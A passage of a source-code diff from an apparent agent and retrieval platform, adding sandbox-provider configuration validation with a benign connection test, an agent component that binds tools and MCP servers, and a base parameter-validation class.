+            # Validate provider type
+            if provider_type not in SandboxMgr.PROVIDER_REGISTRY:
+                raise AdminException(f"Unknown provider type: {provider_type}")
+
+            # Get provider schema for validation
+            schema = SandboxMgr.get_provider_config_schema(provider_type)
+
+            # Validate config against schema
+            for field_name, field_schema in schema.items():
+                if field_schema.get("required", False) and field_name not in config:
+                    raise AdminException(f"Required field '{field_name}' is missing")
+
+                # Type validation
+                if field_name in config:
+                    field_type = field_schema.get("type")
+                    if field_type == "integer":
+                        if not isinstance(config[field_name], int):
+                            raise AdminException(f"Field '{field_name}' must be an integer")
+                    elif field_type == "string":
+                        if not isinstance(config[field_name], str):
+                            raise AdminException(f"Field '{field_name}' must be a string")
+                    elif field_type == "boolean":
+                        if not isinstance(config[field_name], bool):
+                            raise AdminException(f"Field '{field_name}' must be a boolean")
+
+                    # Range validation for integers
+                    if field_type == "integer" and field_name in config:
+                        min_val = field_schema.get("min")
+                        max_val = field_schema.get("max")
+                        if min_val is not None and config[field_name] < min_val:
+                            raise AdminException(f"Field '{field_name}' must be >= {min_val}")
+                        if max_val is not None and config[field_name] > max_val:
+                            raise AdminException(f"Field '{field_name}' must be <= {max_val}")
+
+            # Provider-specific custom validation
+            provider_classes = {
+                "local": LocalProvider,
+                "self_managed": SelfManagedProvider,
+                "ssh": SSHProvider,
+                "aliyun_codeinterpreter": AliyunCodeInterpreterProvider,
+                "e2b": E2BProvider,
+            }
+            provider = provider_classes[provider_type]()
+            is_valid, error_msg = provider.validate_config(config)
+            if not is_valid:
+                raise AdminException(f"Provider validation failed: {error_msg}")
+
+            # Update provider_type only if set_active is True
+            if set_active:
+                SettingsMgr.update_by_name("sandbox.provider_type", provider_type)
+
+            # Always update the provider config
+            config_json = json.dumps(config)
+            SettingsMgr.update_by_name(f"sandbox.{provider_type}", config_json)
+            from agent.sandbox.client import reload_provider
+
+            reload_provider()
+
+            return {"provider_type": provider_type, "config": config}
+        except AdminException:
+            raise
+        except Exception as e:
+            raise AdminException(f"Failed to set sandbox config: {str(e)}")
+
+    @staticmethod
+    def test_connection(provider_type: str, config: dict):
+        """
+        Test connection to sandbox provider by executing a simple Python script.
+
+        This creates a temporary sandbox instance and runs a test code to verify:
+        - Connection credentials are valid
+        - Sandbox can be created
+        - Code execution works correctly
+
+        Args:
+            provider_type: Provider identifier
+            config: Provider configuration dictionary
+
+        Returns:
+            dict with test results including stdout, stderr, exit_code, execution_time
+        """
+        try:
+            from agent.sandbox.providers import (
+                LocalProvider,
+                SelfManagedProvider,
+                SSHProvider,
+                AliyunCodeInterpreterProvider,
+                E2BProvider,
+            )
+
+            # Instantiate provider based on type
+            provider_classes = {
+                "local": LocalProvider,
+                "self_managed": SelfManagedProvider,
+                "ssh": SSHProvider,
+                "aliyun_codeinterpreter": AliyunCodeInterpreterProvider,
+                "e2b": E2BProvider,
+            }
+
+            if provider_type not in provider_classes:
+                raise AdminException(f"Unknown provider type: {provider_type}")
+
+            provider = provider_classes[provider_type]()
+
+            # Initialize with config
+            if not provider.initialize(config):
+                raise AdminException(f"Failed to initialize provider '{provider_type}'")
+
+            # Create a temporary sandbox instance for testing
+            instance = provider.create_instance(template="python")
+            if not instance:
+                raise AdminException("Failed to create sandbox instance.")
+
+            try:
+                # Keep the probe close to the original coverage, but avoid
+                # `sys` because the sandbox security analyzer blocks it.
+                test_code = """
+import json
+import math
+
+
+def main() -> dict:
+    left = 2
+    right = 2
+    print(f"2 + 2 = {left + right}")
+    print(f"JSON dump: {json.dumps({'test': 'data', 'value': 123})}")
+    print(f"Math.sqrt(16) = {math.sqrt(16)}")
+    print("TEST_PASSED")
+    return {"ok": True, "provider_test": "TEST_PASSED"}
+"""
+
+                # Execute test code with timeout
+                execution_result = provider.execute_code(
+                    instance_id=instance.instance_id,
+                    code=test_code,
+                    language="python",
+                    timeout=10,
+                )
+            finally:
+                try:
+                    provider.destroy_instance(instance.instance_id)
+                    logging.info(f"Cleaned up test instance {instance.instance_id}")
+                except Exception as cleanup_error:
+                    logging.warning(f"Failed to cleanup test instance {instance.instance_id}: {cleanup_error}")
+
+            # Build detailed result message
+            success = execution_result.exit_code == 0 and "TEST_PASSED" in execution_result.stdout
+
+            message_parts = [f"Test {success and 'PASSED' or 'FAILED'}", f"Exit code: {execution_result.exit_code}", f"Execution time: {execution_result.execution_time:.2f}s"]
+
+            if execution_result.stdout.strip():
+                stdout_preview = execution_result.stdout.strip()[:200]
+                message_parts.append(f"Output: {stdout_preview}...")
+
+            if execution_result.stderr.strip():
+                stderr_preview = execution_result.stderr.strip()[:200]
+                message_parts.append(f"Errors: {stderr_preview}...")
+
+            message = " | ".join(message_parts)
+
+            return {
+                "success": success,
+                "message": message,
+                "details": {
+                    "exit_code": execution_result.exit_code,
+                    "execution_time": execution_result.execution_time,
+                    "stdout": execution_result.stdout,
+                    "stderr": execution_result.stderr,
+                },
+            }
+
+        except AdminException:
+            raise
+        except Exception as e:
+            import traceback
+
+            error_details = traceback.format_exc()
+            raise AdminException(f"Connection test failed: {str(e)}\\n\\nStack trace:\\n{error_details}")

agent/__init__.py

@@ -0,0 +1,15 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#

agent/component/__init__.py

@@ -0,0 +1,60 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import os
+import importlib
+import inspect
+from types import ModuleType
+from typing import Dict, Type
+
+_package_path = os.path.dirname(__file__)
+__all_classes: Dict[str, Type] = {}
+
+
+def _import_submodules() -> None:
+    for filename in os.listdir(_package_path):  # noqa: F821
+        if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"):
+            continue
+        module_name = filename[:-3]
+
+        try:
+            module = importlib.import_module(f".{module_name}", package=__name__)
+            _extract_classes_from_module(module)  # noqa: F821
+        except ImportError as e:
+            print(f"Warning: Failed to import module {module_name}: {str(e)}")
+
+
+def _extract_classes_from_module(module: ModuleType) -> None:
+    for name, obj in inspect.getmembers(module):
+        if inspect.isclass(obj) and obj.__module__ == module.__name__ and not name.startswith("_"):
+            __all_classes[name] = obj
+            globals()[name] = obj
+
+
+_import_submodules()
+
+__all__ = list(__all_classes.keys()) + ["__all_classes"]
+
+del _package_path, _import_submodules, _extract_classes_from_module
+
+
+def component_class(class_name):
+    for module_name in ["agent.component", "agent.tools", "rag.flow"]:
+        try:
+            return getattr(importlib.import_module(module_name), class_name)
+        except Exception:
+            # logging.warning(f"Can't import module: {module_name}, error: {e}")
+            pass
+    assert False, f"Can't import {class_name}"

agent/component/agent_with_tools.py

@@ -0,0 +1,395 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import asyncio
+import json
+import logging
+import os
+import re
+from copy import deepcopy
+from functools import partial
+from timeit import default_timer as timer
+from typing import Any
+
+import json_repair
+
+from agent.component.llm import LLM, LLMParam
+from agent.tools.base import LLMToolPluginCallSession, ToolBase, ToolMeta, ToolParamBase
+from api.db.joint_services.tenant_model_service import resolve_model_config, resolve_model_type
+from api.db.services.llm_service import LLMBundle
+from api.db.services.mcp_server_service import MCPServerService
+from common.connection_utils import timeout
+from common.mcp_tool_call_conn import MCPToolBinding, MCPToolCallSession, mcp_tool_metadata_to_openai_tool
+from rag.prompts.generator import citation_plus, citation_prompt, full_question, kb_prompt, message_fit_in, structured_output_prompt
+
+_logger = logging.getLogger(__name__)
+
+
+class AgentParam(LLMParam, ToolParamBase):
+    """
+    Define the Agent component parameters.
+    """
+
+    def __init__(self):
+        self.meta: ToolMeta = {
+            "name": "agent",
+            "description": "This is an agent for a specific task.",
+            "parameters": {
+                "user_prompt": {"type": "string", "description": "This is the order you need to send to the agent.", "default": "", "required": True},
+                "reasoning": {
+                    "type": "string",
+                    "description": ("Supervisor's reasoning for choosing the this agent. Explain why this agent is being invoked and what is expected of it."),
+                    "required": True,
+                },
+                "context": {
+                    "type": "string",
+                    "description": (
+                        "All relevant background information, prior facts, decisions, and state needed by the agent to solve the current query. Should be as detailed and self-contained as possible."
+                    ),
+                    "required": True,
+                },
+            },
+        }
+        super().__init__()
+        self.function_name = "agent"
+        self.tools = []
+        self.mcp = []
+        self.max_rounds = 5
+        self.description = ""
+        self.custom_header = {}
+
+
+class Agent(LLM, ToolBase):
+    component_name = "Agent"
+
+    def __init__(self, canvas, id, param: LLMParam):
+        LLM.__init__(self, canvas, id, param)
+        self.tools = {}
+        for idx, cpn in enumerate(self._param.tools):
+            cpn = self._load_tool_obj(cpn)
+            original_name = cpn.get_meta()["function"]["name"]
+            indexed_name = f"{original_name}_{idx}"
+            self.tools[indexed_name] = cpn
+        model_types = resolve_model_type(self._canvas.get_tenant_id(), self._param.llm_id)
+        model_type = "chat" if "chat" in model_types else model_types[0]
+        chat_model_config = resolve_model_config(self._canvas.get_tenant_id(), model_type, self._param.llm_id)
+        self.chat_mdl = LLMBundle(
+            self._canvas.get_tenant_id(),
+            chat_model_config,
+            max_retries=self._param.max_retries,
+            retry_interval=self._param.delay_after_error,
+            max_rounds=self._param.max_rounds,
+            verbose_tool_use=False,
+        )
+        self.tool_meta = []
+        for indexed_name, tool_obj in self.tools.items():
+            original_meta = tool_obj.get_meta()
+            indexed_meta = deepcopy(original_meta)
+            indexed_meta["function"]["name"] = indexed_name
+            self.tool_meta.append(indexed_meta)
+
+        tool_idx = len(self.tools)
+        for mcp in self._param.mcp:
+            _, mcp_server = MCPServerService.get_by_id(mcp["mcp_id"])
+            custom_header = self._param.custom_header
+            tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables, custom_header)
+            for tnm, meta in mcp["tools"].items():
+                indexed_name = f"{tnm}_{tool_idx}"
+                tool_idx += 1
+                self.tool_meta.append(mcp_tool_metadata_to_openai_tool(meta, function_name=indexed_name))
+                self.tools[indexed_name] = MCPToolBinding(tool_call_session, tnm)
+        self.callback = partial(self._canvas.tool_use_callback, id)
+        self.toolcall_session = LLMToolPluginCallSession(self.tools, self.callback)
+        if self.tool_meta:
+            self.chat_mdl.bind_tools(self.toolcall_session, self.tool_meta)
+
+    def _fit_messages(self, prompt: str, msg: list[dict]) -> tuple[list[dict] | None, str | None]:
+        msg_fit, fit_error = LLM.fit_messages(prompt, msg, self.chat_mdl.max_length)
+        if fit_error:
+            logging.error("Agent prompt fit error: %s", fit_error)
+            return None, fit_error
+        return msg_fit, None
+
+    @staticmethod
+    def _append_system_prompt(msg: list[dict], extra_prompt: str) -> None:
+        if extra_prompt and msg and msg[0]["role"] == "system":
+            msg[0]["content"] += "\n" + extra_prompt
+
+    @staticmethod
+    def _clean_formatted_answer(ans: str) -> str:
+        ans = re.sub(r"^.*</think>", "", ans, flags=re.DOTALL)
+        ans = re.sub(r"^.*```json", "", ans, flags=re.DOTALL)
+        return re.sub(r"```\n*$", "", ans, flags=re.DOTALL)
+
+    def _load_tool_obj(self, cpn: dict) -> object:
+        from agent.component import component_class
+
+        tool_name = cpn["component_name"]
+        param = component_class(tool_name + "Param")()
+        param.update(cpn["params"])
+        try:
+            param.check()
+        except Exception as e:
+            self.set_output("_ERROR", cpn["component_name"] + f" configuration error: {e}")
+            raise
+        cpn_id = f"{self._id}-->" + cpn.get("name", "").replace(" ", "_")
+        return component_class(cpn["component_name"])(self._canvas, cpn_id, param)
+
+    def get_meta(self) -> dict[str, Any]:
+        self._param.function_name = self._id.split("-->")[-1]
+        m = super().get_meta()
+        if hasattr(self._param, "user_prompt") and self._param.user_prompt:
+            # Keep the JSON schema valid; user_prompt is a string field, not a schema node.
+            m["function"]["parameters"]["properties"]["user_prompt"]["default"] = self._param.user_prompt
+        return m
+
+    def get_input_form(self) -> dict[str, dict]:
+        res = {}
+        for k, v in self.get_input_elements().items():
+            res[k] = {"type": "line", "name": v["name"]}
+        for cpn in self._param.tools:
+            if not isinstance(cpn, LLM):
+                continue
+            res.update(cpn.get_input_form())
+        return res
+
+    def _get_output_schema(self):
+        try:
+            cand = self._param.outputs.get("structured")
+        except Exception:
+            return None
+
+        if isinstance(cand, dict):
+            if isinstance(cand.get("properties"), dict) and len(cand["properties"]) > 0:
+                return cand
+            for k in ("schema", "structured"):
+                if isinstance(cand.get(k), dict) and isinstance(cand[k].get("properties"), dict) and len(cand[k]["properties"]) > 0:
+                    return cand[k]
+
+        return None
+
+    async def _force_format_to_schema_async(self, text: str, schema_prompt: str) -> str:
+        fmt_msgs = [
+            {"role": "system", "content": schema_prompt + "\nIMPORTANT: Output ONLY valid JSON. No markdown, no extra text."},
+            {"role": "user", "content": text},
+        ]
+        _, fmt_msgs = message_fit_in(fmt_msgs, LLM.context_fit_budget(self.chat_mdl.max_length))
+        return await self._generate_async(fmt_msgs)
+
+    def _invoke(self, **kwargs):
+        return asyncio.run(self._invoke_async(**kwargs))
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 20 * 60)))
+    async def _invoke_async(self, **kwargs):
+        if self.check_if_canceled("Agent processing"):
+            return
+
+        user_prompt = kwargs.get("user_prompt")
+        user_prompt_text = "" if user_prompt is None else str(user_prompt)
+        _logger.debug(
+            "[Agent] _invoke_async called. Component: %s, Keys in kwargs: %s, user_prompt_present: %s, user_prompt_length: %d, tools count: %d",
+            self._id,
+            list(kwargs.keys()),
+            bool(user_prompt_text.strip()),
+            len(user_prompt_text),
+            len(self.tools) if self.tools else 0,
+        )
+
+        if kwargs.get("user_prompt"):
+            usr_pmt = ""
+            if kwargs.get("reasoning"):
+                usr_pmt += "\nREASONING:\n{}\n".format(kwargs["reasoning"])
+            if kwargs.get("context"):
+                usr_pmt += "\nCONTEXT:\n{}\n".format(kwargs["context"])
+            if usr_pmt:
+                usr_pmt += "\nQUERY:\n{}\n".format(str(kwargs["user_prompt"]))
+            else:
+                usr_pmt = str(kwargs["user_prompt"])
+            self._param.prompts = [{"role": "user", "content": usr_pmt}]
+            _logger.debug("[Agent] Built user prompt with length=%d, reasoning=%s, context=%s", len(usr_pmt), bool(kwargs.get("reasoning")), bool(kwargs.get("context")))
+
+        if not self.tools:
+            if self.check_if_canceled("Agent processing"):
+                return
+            _logger.debug("[Agent] No tools configured. Delegating to LLM._invoke_async. prompt_count=%d", len(self._param.prompts) if self._param.prompts else 0)
+            return await LLM._invoke_async(self, **kwargs)
+
+        prompt, msg, user_defined_prompt = self._prepare_prompt_variables()
+        output_schema = self._get_output_schema()
+        schema_prompt = ""
+        if output_schema:
+            schema = json.dumps(output_schema, ensure_ascii=False, indent=2)
+            schema_prompt = structured_output_prompt(schema)
+
+        component = self._canvas.get_component(self._id)
+        downstreams = component["downstream"] if component else []
+        ex = self.exception_handler()
+        has_message_downstream = any(self._canvas.get_component_obj(cid).component_name.lower() == "message" for cid in downstreams)
+        if has_message_downstream and not (ex and ex["goto"]) and not output_schema:
+            _logger.debug("[Agent] Entering streaming mode (has message downstream)")
+            self.set_output("content", partial(self.stream_output_with_tools_async, prompt, deepcopy(msg), user_defined_prompt))
+            return
+
+        msg, fit_error = self._fit_messages(prompt, msg)
+        if fit_error:
+            if self.get_exception_default_value():
+                self.set_output("content", self.get_exception_default_value())
+            else:
+                self.set_output("_ERROR", fit_error)
+            return
+
+        self._append_system_prompt(msg, schema_prompt)
+        _logger.debug("[Agent] Calling LLM with %d messages, has_schema=%s", len(msg), bool(schema_prompt))
+        ans = await self._generate_async(msg)
+
+        if ans.find("**ERROR**") >= 0:
+            logging.error(f"Agent._chat got error. response: {ans}")
+            if self.get_exception_default_value():
+                self.set_output("content", self.get_exception_default_value())
+            else:
+                self.set_output("_ERROR", ans)
+            return
+
+        if output_schema:
+            error = ""
+            for _ in range(self._param.max_retries + 1):
+                try:
+                    obj = json_repair.loads(self._clean_formatted_answer(ans))
+                    self.set_output("structured", obj)
+                    return obj
+                except Exception:
+                    error = "The answer cannot be parsed as JSON"
+                    ans = await self._force_format_to_schema_async(ans, schema_prompt)
+                    if ans.find("**ERROR**") >= 0:
+                        continue
+
+            self.set_output("_ERROR", error)
+            return
+
+        artifact_md = self._collect_tool_artifact_markdown(existing_text=ans)
+        if artifact_md:
+            ans += "\n\n" + artifact_md
+        _logger.debug("[Agent] Final output. content_length=%d, has_artifact=%s", len(ans), bool(artifact_md))
+        self.set_output("content", ans)
+        return ans
+
+    async def stream_output_with_tools_async(self, prompt, msg, user_defined_prompt={}):
+        if len(msg) > 3:
+            st = timer()
+            user_request = await full_question(messages=msg, chat_mdl=self.chat_mdl)
+            self.callback("Multi-turn conversation optimization", {}, user_request, elapsed_time=timer() - st)
+            msg = [*msg[:-1], {"role": "user", "content": user_request}]
+
+        msg, fit_error = self._fit_messages(prompt, msg)
+        if fit_error:
+            if self.get_exception_default_value():
+                fallback = self.get_exception_default_value()
+                self.set_output("content", fallback)
+                yield fallback
+            else:
+                self.set_output("_ERROR", fit_error)
+                self.set_output("content", fit_error)
+                yield fit_error
+            return
+
+        need2cite = self._param.cite and self._canvas.get_reference()["chunks"] and self._id.find("-->") < 0
+        cited = False
+        if need2cite and len(msg) < 7:
+            self._append_system_prompt(msg, citation_prompt())
+            cited = True
+
+        answer = ""
+        async for delta in self._generate_streamly(msg):
+            if self.check_if_canceled("Agent streaming"):
+                return
+            if delta.find("**ERROR**") >= 0:
+                if self.get_exception_default_value():
+                    fallback = self.get_exception_default_value()
+                    self.set_output("content", fallback)
+                    yield fallback
+                else:
+                    self.set_output("_ERROR", delta)
+                    self.set_output("content", delta)
+                    yield delta
+                return
+            if not need2cite or cited:
+                yield delta
+            answer += delta
+
+        if not need2cite or cited:
+            artifact_md = self._collect_tool_artifact_markdown(existing_text=answer)
+            if artifact_md:
+                yield "\n\n" + artifact_md
+                answer += "\n\n" + artifact_md
+            self.set_output("content", answer)
+            return
+
+        st = timer()
+        cited_answer = ""
+        async for delta in self._gen_citations_async(answer):
+            if self.check_if_canceled("Agent streaming"):
+                return
+            yield delta
+            cited_answer += delta
+        artifact_md = self._collect_tool_artifact_markdown(existing_text=cited_answer)
+        if artifact_md:
+            yield "\n\n" + artifact_md
+            cited_answer += "\n\n" + artifact_md
+        self.callback("gen_citations", {}, cited_answer, elapsed_time=timer() - st)
+        self.set_output("content", cited_answer)
+
+    async def _gen_citations_async(self, text):
+        retrievals = self._canvas.get_reference()
+        retrievals = {"chunks": list(retrievals["chunks"].values()), "doc_aggs": list(retrievals["doc_aggs"].values())}
+        formated_refer = kb_prompt(retrievals, self.chat_mdl.max_length, True)
+        async for delta_ans in self._generate_streamly([{"role": "system", "content": citation_plus("\n\n".join(formated_refer))}, {"role": "user", "content": text}]):
+            yield delta_ans
+
+    def _collect_tool_artifact_markdown(self, existing_text: str = "") -> str:
+        md_parts = []
+        for tool_obj in self.tools.values():
+            if not hasattr(tool_obj, "_param") or not hasattr(tool_obj._param, "outputs"):
+                continue
+            artifacts_meta = tool_obj._param.outputs.get("_ARTIFACTS", {})
+            artifacts = artifacts_meta.get("value") if isinstance(artifacts_meta, dict) else None
+            if not artifacts:
+                continue
+            for art in artifacts:
+                if not isinstance(art, dict):
+                    continue
+                url = art.get("url", "")
+                if url and (f"![]({url})" in existing_text or f"![{art.get('name', '')}]({url})" in existing_text):
+                    continue
+                if art.get("mime_type", "").startswith("image/"):
+                    md_parts.append(f"![{art['name']}]({url})")
+                else:
+                    md_parts.append(f"[Download {art['name']}]({url})")
+        return "\n\n".join(md_parts)
+
+    def reset(self, only_output=False):
+        """
+        Reset all tools if they have a reset method. This avoids errors for tools like MCPToolCallSession.
+        """
+        for k in self._param.outputs.keys():
+            self._param.outputs[k]["value"] = None
+
+        for k, cpn in self.tools.items():
+            if hasattr(cpn, "reset") and callable(cpn.reset):
+                cpn.reset()
+        if only_output:
+            return
+        for k in self._param.inputs.keys():
+            self._param.inputs[k]["value"] = None
+        self._param.debug_inputs = {}

agent/component/base.py

@@ -0,0 +1,619 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import asyncio
+import builtins
+import json
+import logging
+import os
+import re
+import time
+from abc import ABC
+from typing import Any, List, Union
+
+import pandas as pd
+
+from agent import settings
+from common.connection_utils import timeout
+
+
+from common.misc_utils import thread_pool_exec
+
+_logger = logging.getLogger(__name__)
+
+_FEEDED_DEPRECATED_PARAMS = "_feeded_deprecated_params"
+_DEPRECATED_PARAMS = "_deprecated_params"
+_USER_FEEDED_PARAMS = "_user_feeded_params"
+_IS_RAW_CONF = "_is_raw_conf"
+
+
+class ComponentParamBase(ABC):
+    def __init__(self):
+        self.message_history_window_size = 13
+        self.inputs = {}
+        self.outputs = {}
+        self.description = ""
+        self.max_retries = 0
+        self.delay_after_error = 2.0
+        self.exception_method = None
+        self.exception_default_value = None
+        self.exception_goto = None
+        self.debug_inputs = {}
+
+    def set_name(self, name: str):
+        self._name = name
+        return self
+
+    def check(self):
+        raise NotImplementedError("Parameter Object should be checked.")
+
+    @classmethod
+    def _get_or_init_deprecated_params_set(cls):
+        if not hasattr(cls, _DEPRECATED_PARAMS):
+            setattr(cls, _DEPRECATED_PARAMS, set())
+        return getattr(cls, _DEPRECATED_PARAMS)
+
+    def _get_or_init_feeded_deprecated_params_set(self, conf=None):
+        if not hasattr(self, _FEEDED_DEPRECATED_PARAMS):
+            if conf is None:
+                setattr(self, _FEEDED_DEPRECATED_PARAMS, set())
+            else:
+                setattr(
+                    self,
+                    _FEEDED_DEPRECATED_PARAMS,
+                    set(conf[_FEEDED_DEPRECATED_PARAMS]),
+                )
+        return getattr(self, _FEEDED_DEPRECATED_PARAMS)
+
+    def _get_or_init_user_feeded_params_set(self, conf=None):
+        if not hasattr(self, _USER_FEEDED_PARAMS):
+            if conf is None:
+                setattr(self, _USER_FEEDED_PARAMS, set())
+            else:
+                setattr(self, _USER_FEEDED_PARAMS, set(conf[_USER_FEEDED_PARAMS]))
+        return getattr(self, _USER_FEEDED_PARAMS)
+
+    def get_user_feeded(self):
+        return self._get_or_init_user_feeded_params_set()
+
+    def get_feeded_deprecated_params(self):
+        return self._get_or_init_feeded_deprecated_params_set()
+
+    @property
+    def _deprecated_params_set(self):
+        return {name: True for name in self.get_feeded_deprecated_params()}
+
+    def __str__(self):
+        def _serialize_default(obj):
+            if callable(obj):
+                return None
+            logging.warning("ComponentParamBase.__str__: JSON fallback via str() for type=%s", type(obj).__name__)
+            return str(obj)
+
+        return json.dumps(self.as_dict(), ensure_ascii=False, default=_serialize_default)
+
+    def as_dict(self):
+        def _recursive_convert_obj_to_dict(obj):
+            ret_dict = {}
+            if isinstance(obj, dict):
+                for k, v in obj.items():
+                    if isinstance(v, dict) or (v and type(v).__name__ not in dir(builtins)):
+                        ret_dict[k] = _recursive_convert_obj_to_dict(v)
+                    else:
+                        ret_dict[k] = v
+                return ret_dict
+
+            for attr_name in list(obj.__dict__):
+                if attr_name in [_FEEDED_DEPRECATED_PARAMS, _DEPRECATED_PARAMS, _USER_FEEDED_PARAMS, _IS_RAW_CONF]:
+                    continue
+                # get attr
+                attr = getattr(obj, attr_name)
+                if isinstance(attr, pd.DataFrame):
+                    ret_dict[attr_name] = attr.to_dict()
+                    continue
+                if isinstance(attr, dict) or (attr and type(attr).__name__ not in dir(builtins)):
+                    ret_dict[attr_name] = _recursive_convert_obj_to_dict(attr)
+                else:
+                    ret_dict[attr_name] = attr
+
+            return ret_dict
+
+        return _recursive_convert_obj_to_dict(self)
+
+    def update(self, conf, allow_redundant=False):
+        update_from_raw_conf = conf.get(_IS_RAW_CONF, True)
+        if update_from_raw_conf:
+            deprecated_params_set = self._get_or_init_deprecated_params_set()
+            feeded_deprecated_params_set = self._get_or_init_feeded_deprecated_params_set()
+            user_feeded_params_set = self._get_or_init_user_feeded_params_set()
+            setattr(self, _IS_RAW_CONF, False)
+        else:
+            feeded_deprecated_params_set = self._get_or_init_feeded_deprecated_params_set(conf)
+            user_feeded_params_set = self._get_or_init_user_feeded_params_set(conf)
+
+        def _recursive_update_param(param, config, depth, prefix):
+            if depth > settings.PARAM_MAXDEPTH:
+                raise ValueError("Param define nesting too deep!!!, can not parse it")
+
+            inst_variables = param.__dict__
+            redundant_attrs = []
+            for config_key, config_value in config.items():
+                # redundant attr
+                if config_key not in inst_variables:
+                    if not update_from_raw_conf and config_key.startswith("_"):
+                        setattr(param, config_key, config_value)
+                    else:
+                        setattr(param, config_key, config_value)
+                        # redundant_attrs.append(config_key)
+                    continue
+
+                full_config_key = f"{prefix}{config_key}"
+
+                if update_from_raw_conf:
+                    # add user feeded params
+                    user_feeded_params_set.add(full_config_key)
+
+                    # update user feeded deprecated param set
+                    if full_config_key in deprecated_params_set:
+                        feeded_deprecated_params_set.add(full_config_key)
+
+                # supported attr
+                attr = getattr(param, config_key)
+                if type(attr).__name__ in dir(builtins) or attr is None:
+                    setattr(param, config_key, config_value)
+
+                else:
+                    # recursive set obj attr
+                    sub_params = _recursive_update_param(attr, config_value, depth + 1, prefix=f"{prefix}{config_key}.")
+                    setattr(param, config_key, sub_params)
+
+            if not allow_redundant and redundant_attrs:
+                raise ValueError(f"cpn `{getattr(self, '_name', type(self))}` has redundant parameters: `{[redundant_attrs]}`")
+
+            return param
+
+        return _recursive_update_param(param=self, config=conf, depth=0, prefix="")
+
+    def extract_not_builtin(self):
+        def _get_not_builtin_types(obj):
+            ret_dict = {}
+            for variable in obj.__dict__:
+                attr = getattr(obj, variable)
+                if attr and type(attr).__name__ not in dir(builtins):
+                    ret_dict[variable] = _get_not_builtin_types(attr)
+
+            return ret_dict
+
+        return _get_not_builtin_types(self)
+
+    def validate(self):
+        self.builtin_types = dir(builtins)
+        self.func = {
+            "ge": self._greater_equal_than,
+            "le": self._less_equal_than,
+            "in": self._in,
+            "not_in": self._not_in,
+            "range": self._range,
+        }
+        home_dir = os.path.abspath(os.path.dirname(os.path.realpath(__file__)))
+        param_validation_path_prefix = home_dir + "/param_validation/"
+
+        param_name = type(self).__name__
+        param_validation_path = "/".join([param_validation_path_prefix, param_name + ".json"])
+
+        validation_json = None
+
+        try:
+            with open(param_validation_path, "r") as fin:
+                validation_json = json.loads(fin.read())
+        except BaseException:
+            return
+
+        self._validate_param(self, validation_json)
+
+    def _validate_param(self, param_obj, validation_json):
+        default_section = type(param_obj).__name__
+        var_list = param_obj.__dict__
+
+        for variable in var_list:
+            attr = getattr(param_obj, variable)
+
+            if type(attr).__name__ in self.builtin_types or attr is None:
+                if variable not in validation_json:
+                    continue
+
+                validation_dict = validation_json[default_section][variable]
+                value = getattr(param_obj, variable)
+                value_legal = False
+
+                for op_type in validation_dict:
+                    if self.func[op_type](value, validation_dict[op_type]):
+                        value_legal = True
+                        break
+
+                if not value_legal:
+                    raise ValueError("Please check runtime conf, {} = {} does not match user-parameter restriction".format(variable, value))
+
+            elif variable in validation_json:
+                self._validate_param(attr, validation_json)
+
+    @staticmethod
+    def check_string(param, description):
+        if type(param).__name__ not in ["str"]:
+            raise ValueError(description + " {} not supported, should be string type".format(param))
+
+    @staticmethod
+    def check_empty(param, description):
+        if not param:
+            raise ValueError(description + " does not support empty value.")
+
+    @staticmethod
+    def check_positive_integer(param, description):
+        if type(param).__name__ not in ["int", "long"] or param <= 0:
+            raise ValueError(description + " {} not supported, should be positive integer".format(param))
+
+    @staticmethod
+    def check_positive_number(param, description):
+        if type(param).__name__ not in ["float", "int", "long"] or param <= 0:
+            raise ValueError(description + " {} not supported, should be positive numeric".format(param))
+
+    @staticmethod
+    def check_nonnegative_number(param, description):
+        if type(param).__name__ not in ["float", "int", "long"] or param < 0:
+            raise ValueError(description + " {} not supported, should be non-negative numeric".format(param))
+
+    @staticmethod
+    def check_decimal_float(param, description):
+        if type(param).__name__ not in ["float", "int"] or param < 0 or param > 1:
+            raise ValueError(description + " {} not supported, should be a float number in range [0, 1]".format(param))
+
+    @staticmethod
+    def check_boolean(param, description):
+        if type(param).__name__ != "bool":
+            raise ValueError(description + " {} not supported, should be bool type".format(param))
+
+    @staticmethod
+    def check_open_unit_interval(param, description):
+        if type(param).__name__ not in ["float"] or param <= 0 or param >= 1:
+            raise ValueError(description + " should be a numeric number between 0 and 1 exclusively")
+
+    @staticmethod
+    def check_valid_value(param, description, valid_values):
